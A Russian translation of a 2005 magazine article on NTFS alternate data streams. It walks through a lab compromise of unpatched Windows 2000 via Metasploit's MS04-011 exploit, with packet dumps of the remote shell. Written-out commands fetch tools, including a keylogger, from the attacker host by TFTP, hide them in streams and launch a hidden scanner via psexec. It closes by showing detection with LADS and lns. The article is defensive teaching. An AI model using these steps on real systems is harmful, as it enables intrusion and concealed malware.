альтернативные потоки данных NTFS

Цель этой статьи – описание альтернативных потоков данных в Microsoft Windows, демонстрация того, как их можно создать, скомпрометировав машину, используя Metasploit Framework, и как можно обнаружить с помощью свободно распространяемых утилит.

введение

Для начала мы определимся в том, что из себя представляют альтернативные потоки данных и какую угрозу они могут представлять для вашей организации. Затем мы рассмотрим пример компрометации удаленной машины с помощью эксплойта, предоставляющего доступ к командному интерпретатору и позволяющего скрывать файлы на компьютере жертвы. После этого, мы рассмотрим некоторые свободно распространяемые утилиты, которые могут быть использованы для определения и предотвращения такой активности. Итак, начнем.

что такое альтернативные потоки данных

Альтернативные потоки данных появились в ОС Windows NT с введением файловой системы NTFS. Что же такое альтернативные потоки данных? В сущности, они были созданы для обеспечения совместимости в HFS (устаревшей файловой системой Macintosh). Суть организации HFS состоит в раздвоении файла на файл данных и файл ресурсов. В файле данных находится содержимое документа, а в файле ресурсов - идентификатор типа файла и другие свойства. На сегодняшний день не всем известно о существовании альтернативных потоков данных. Однако какое-то время они использовались некоторыми не лучшими представителями сообщества специалистов безопасности. Было отмечено увеличение использования этих потоков злонамеренными хакерами, желающими спрятать свои файлы сразу после компрометации компьютера. Кроме этого, было замечено, что некоторые вирусы и другие типы
злонамеренного ПО также используют альтернативные потоки данных. Проблема в том, что эти потоки нельзя просмотреть, используя стандартные методы: через командную строку или с помощью Windows Explorer.
Как же обнаружить злонамеренное использование альтернативных потоков данных? Необходимо следить за повышением использования таких потоков. Даже если учесть, что корпоративный объект хорошо защищен, нужно иметь в виду, что не все антивирусные средства в конфигурации по умолчанию проверяют альтернативные потоки данных. В настоящее время большая часть антивирусных продуктов находит эти потоки, но только после дополнительной настройки.

пример использования альтернативных потоков данных

Чтобы действительно осознать опасность, которую представляют альтернативные потоки данных, нужно увидеть практическую демонстрацию их злонамеренного использования. К концу этой статьи читатель, с помощью Metasploit Framework, получит доступ к удаленному компьютеру с правами системы. В действительности, в соответствии с целями статьи, это будет не реальная машина, а тестовая, подготовленная специально для наших исследований.
Однако использование специального тестового компьютера никак не повлияет на результат. Чтобы доказать возможность атаки, не нужно атаковать реальный компьютер через Интернет.
В данном примере мы проникнем в компьютер, используя Metasploit Framework. Эксплойт, который я буду использовать, основан на уязвимости MS04- 011, также известной в Metasploit как “lsass overflow”. Для загрузки набора файлов, который мы хотим спрятать, будем использовать протокол TFTP. Затем эти файлы будут помещены в альтернативные потоки данных существующих файлов, найденных на уязвимом компьютере, что ясно продемонстрирует возможность их злонамеренного использования.
Как только эти действия будут завершены, сканер, загруженный на компьютер, будет удаленно запущен и начнется поиск других уязвимых машин во внутренней сети. H. D. Moore, один из соавторов Metasploit Framework, внедрил в эксплойт ASCII-строку “METASPLOIT”. Можно предположить, что это было сделано для того, чтобы производители IDS смогли создать сигнатуру для его утилиты. Взгляните на пакет, отправленный с атакующего компьютера, показанный ниже, в котором можно заметить эту строку.
10:38:49.665427 IP (tos 0x0, ttl 64, id 2924, offset 0, flags [DF],
length: 152) 192.168.1.102.32776 >192.168.1.101.139: P [tcp sum ok]
771689123:771689223(100) ack 3530170662 win 58401376570 6356>NBT Packet
0x0000 4500 0098 0b6c 4000 4006 aad8 c0a8 0166 E....l@.@......f
0x0010 c0a8 0165 8008 008b 2dff 0aa3 d26a 2126 ...e....-....j!&
0x0020 8018 16d0 d4ea 0000 0101 080a 0015 013a ...............:
0x0030 0000 18d4 0000 0060 ff53 4d42 7200 0000 .......`.SMBr...
0x0040 0018 0120 0000 0000 0000 0000 0000 0000 ................
0x0050 0000 c912 0000 18d9 003d 0002 4d45 5441 .........=..META
0x0060 5350 4c4f 4954 0002 4c41 4e4d 414e 312e SPLOIT..LANMAN1.
0x0070 3000 024c 4d31 2e32 5830 3032 0002 4e54 0..LM1.2X002..NT
0x0080 204c 414e 4d41 4e20 312e 3000 024e 5420 .LANMAN.1.0..NT.
0x0090 4c4d 2030 2e31 3200 LM.0.12.

Обратите внимание, 192.168.1.102 – атакующий компьютер, использующий Metasploit Framework, а 192.168.1.101 – компьютер жертвы, на котором установлена ОС Windows 2000 Professional. Инсталляция W2K свежая, без каких-либо исправлений или пакетов обновлений, используется только для демонстрационных целей. Имейте в виду, что для злонамеренного использования альтернативных потоков данных, в первую очередь, нужно найти машину с уязвимостью, годной к использованию. Не обновленная Windows 2000 в данном случае используется только для демонстрации, в реальной жизни для реализации атаки на обновленную систему потребовался бы другой эксплойт.
Ниже мы можем увидеть, что атака прошла успешно. Наша атакующая машина получила доступ к командной строке на компьютере жертвы. Порт 4321 – порт, используемый по умолчанию для lsass-эксплойта в Metasploit. При желании он может быть изменен.
10:38:50.071766 IP (tos 0x0, ttl 128, id 85, offset 0, flags [DF],
length: 82) 192.168.1.101.1030 >192.168.1.102.4321: P [tcp sum ok]
3530253951:3530253993(42) ack 758421802 win 17520
0x0000 4500 0052 0055 4000 8006 7635 c0a8 0165 E..R.U@...v5...e
0x0010 c0a8 0166 0406 10e1 d26b 667f 2d34 992a ...f.....kf.-4.*
0x0020 5018 4470 095f 0000 4d69 6372 6f73 6f66 P.Dp._..Microsof
0x0030 7420 5769 6e64 6f77 7320 3230 3030 205b t.Windows.2000.[
0x0040 5665 7273 696f 6e20 352e 3030 2e32 3139 Version.5.00.219
0x0050 355d 5]
10:38:50.071943 IP (tos 0x0, ttl 128, id 86, offset 0, flags [DF],
length: 83) 192.168.1.101.1030 >192.168.1.102.4321: P [tcp sum ok]
3530253993:3530254036(43) ack 758421802 win 17520
0x0000 4500 0053 0056 4000 8006 7633 c0a8 0165 E..S.V@...v3...e
0x0010 c0a8 0166 0406 10e1 d26b 66a9 2d34 992a ...f.....kf.-4.*
0x0020 5018 4470 89be 0000 0d0a 2843 2920 436f P.Dp......(C).Co
0x0030 7079 7269 6768 7420 3139 3835 2d32 3030 pyright.1985-200
0x0040 3020 4d69 6372 6f73 6f66 7420 436f 7270 0.Microsoft.Corp
0x0050 2e0d 0a ...
10:38:50.072162 IP (tos 0x0, ttl 128, id 88, offset 0, flags [DF],
length: 58) 192.168.1.101.1030 >192.168.1.102.4321: P [tcp sum ok]
3530254038:3530254056(18) ack 758421802 win 17520
0x0000 4500 003a 0058 4000 8006 764a c0a8 0165 E..:.X@...vJ...e
0x0010 c0a8 0166 0406 10e1 d26b 66d6 2d34 992a ...f.....kf.-4.*
0x0020 5018 4470 b1b4 0000 433a 5c57 494e 4e54 P.Dp....C:\WINNT
0x0030 5c73 7973 7465 6d33 323e \system32>
Теперь по протоколу TFTP начинается передача файлов от атакующего на скомпрометированный компьютер. Вот команда, которая была передана командному интерпретатору, приказывающая жертве загрузить файл ipeye.exe.
tftp -i 192.168.1.102 GET ipeye.exe
Загрузка файлов будет продолжаться до тех пор, пока мы не получим 4 файла: ipeye.exe, psexec.exe, pslist.exe, и klogger.exe. Для краткости я не стал приводить последовательную передачу пакетов. Ниже показано содержимое директории, содержащей загруженные файлы, на компьютере жертвы после завершения передачи. Имя этой директории - c:\compaq\.
12/05/2004 09:30a 32,768 ipeye.exe
12/05/2004 09:32a 32,768 klogger.exe..
12/05/2004 09:31a 143,360 psexec.exe
12/05/2004 09:31a 86,016 pslist.exe
12/04/2004 02:12pSP21263
12/05/2004 09:01a 13 test_file
12/05/2004 09:02a 13 test_file2
12/05/2004 09:02a 12 test_file3
12/05/2004 09:03a 14 test_file4
12/05/2004 09:32a 0 TFTP780

Ниже мы видим, как атакующий удаляет файл “tftp780” из этой директории. Это доказывает возможность удаления файлов.
10:45:56.901024 IP (tos 0x0, ttl 64, id 39855, offset 0, flags [DF],
length: 55) 192.168.1.102.4321 >192.168.1.101.1030: P [tcp sum ok]
758422044:758422059(15) ack 3530258111 win 10720
0x0000 4500 0037 9baf 4000 4006 1af6 c0a8 0166 E..7..@.@......f
0x0010 c0a8 0165 10e1 0406 2d34 9a1c d26b 76bf ...e....-4...kv.
0x0020 5018 29e0 a342 0000 6465 6c20 2f46 2074 P.)..B..del./F.t
0x0030 6674 7037 3830 0a ftp780.

Теперь атакующий помещает исполняемый файл ipeye.exe в альтернативный поток данных, ассоциированный с существующим файлом test_file. Команда, осуществляющая эти действия, имеет следующий синтаксис:
type ipeye.exe >test_file:ipeye.exe

Процесс скрытия оставшихся трех файлов, загруженных на скомпрометированный хост, закончен. Они скопированы в альтернативные потоки данных существующего файла на компьютере жертвы. Точно также вы можете скопировать файл в поток каталога, например C:\.

Затем мы запустим psexec.exe на компьютере жертвы, который, в свою очередь, запустит сканер ipeye.exe, находящийся в альтернативном потоке данных c:\Compaq\test_file:ipeye.exe. Заметьте, я использую копию psexec.exe, находящуюся не в потоке, а в самой директории.
Существует много способов запуска программы на Win32-компьютере. Один из вариантов создания процесса – использование команды “start”, что является простым решением, не оставляющим следов на машине жертвы. Некоторые хакеры вместо этого для запуска программы могут использовать bat- файл или другие средства. Фактически алгоритм работы хакера не всегда может быть известен, и мы должны помнить – не все хакеры одинаковы. Подозрительные действия многих хакеров можно изучить, используя honeynet.
Причина, по которой для этой статьи был выбран psexec.exe, очень проста – набор свободно распространяемых утилит, предоставляемых Sysinternals, часто используется хакерами. Поэтому для придания реализма статье я решил использовать именно их. Итак, продвинемся дальше выполним следующую команду:
psexec.exe c:\compaq\test_file:ipeye.exe 192.168.1.100 -syn -p 139

Утилита для сканирования ipeye.exe часто используется хакерами для дальнейшего проникновения в сеть. Обратите внимание, для тестирования я использовал еще один компьютер, имеющий IP-адрес 192.168.1.100 и слушающий 139 порт. Однако, как хакер, пришедший из внешней сети, для того чтобы найти это компьютер, я должен был бы произвести сканирование внутренней сети, используя один из зарезервированных диапазонов IP-адресов. Сканер портов отработал успешно. Мы получили информацию, что порт 139 на сканируемой машине действительно открыт. Так как этот компьютер находится в моей лаборатории, у меня есть возможности проверить и подтвердить результаты.
Этот пример демонстрирует возможность злонамеренного использования потоков хакерами. Но нужно иметь в виду, что служащие компании с помощью описанной техники потенциально могли скрыть такой нежелательный контент, как порнография, юридически законный или незаконный в зависимости от конкретного места.

решение проблемы

Что делать с проблемой злонамеренного использования альтернативных потоков данных? Есть несколько неплохих утилит, написанных талантливыми разработчиками Frank Heyne и Arne Vidstrom - lads и lns соответственно, - которые позволяют обнаруживать альтернативные потоки данных. Ниже показан вывод каждой из этих утилит, запущенных на нашей системе после компрометации.

lads

LADS - Freeware version 4.00
(C) Copyright 1998-2004 Frank Heyne Software (http://www.heysoft.de)
This program lists files with alternate data streams (ADS)
Use LADS on your own risk!
Scanning directory C:\compaq
size ADS in file
---------- ---------------------------------
32768 C:\compaq\test_file:ipeye.exe
32768 C:\compaq\test_file2:klogger.exe
143360 C:\compaq\test_file3:psexec.exe
86016 C:\compaq\test_file4:pslist.exe
294912 bytes in 4 ADS listed

lns

lns 1.0 - (c) 2002, Arne Vidstrom (arne.vidstrom@ntsecurity.nu)
-http://ntsecurity.nu/toolbox/lns/
c:\compaq\test_file
- Alternative data stream [:ipeye.exe:$DATA]
c:\compaq\test_file2
- Alternative data stream [:klogger.exe:$DATA]
c:\compaq\test_file3
- Alternative data stream [:psexec.exe:$DATA]
c:\compaq\test_file4
- Alternative data stream [:pslist.exe:$DATA]

Как мы видим, вышеупомянутые утилиты успешно обнаружили созданные нами альтернативные потоки данных. Таким образом, используя свободно распространяемые утилиты, вы можете легко найти альтернативные потоки данных на вашем компьютере. Настоятельно рекомендуется производить такой поиск регулярно. В то время, как некоторые производители антивирусов только начинают обращать внимание на альтернативные потоки данных, вы можете свободно использовать утилиту, созданную специально для обнаружения этих потоков.

заключение

Альтернативные потоки данных в Windows NTFS являются реальной угрозой, которая, однако, может быть успешно минимизирована путем использования качественных средств защиты. Кроме этого, как было показано, обнаружить и идентифицировать альтернативные потоки данных можно с помощью двух свободно распространяемых утилит, что позволяет вовремя уведомить администратора об угрозе и дать ему время для адекватного реагирования. Имейте в виду, что в нашем случае использовалась тестовая машина с не обновленной версией Windows 2000, поэтому для реализации вышеописанного процесса на ОС с установленными пакетами обновлений нужно было бы использовать другой способ проникновения на компьютер, после успешного осуществления которого можно было бы создавать альтернативные потоки данных.



Дон Паркер, перевод Владимира Куксенка.



Сетевые решения. Статья была опубликована в номере 03 за 2005 год в рубрике save ass…

©1999-2024 Сетевые решения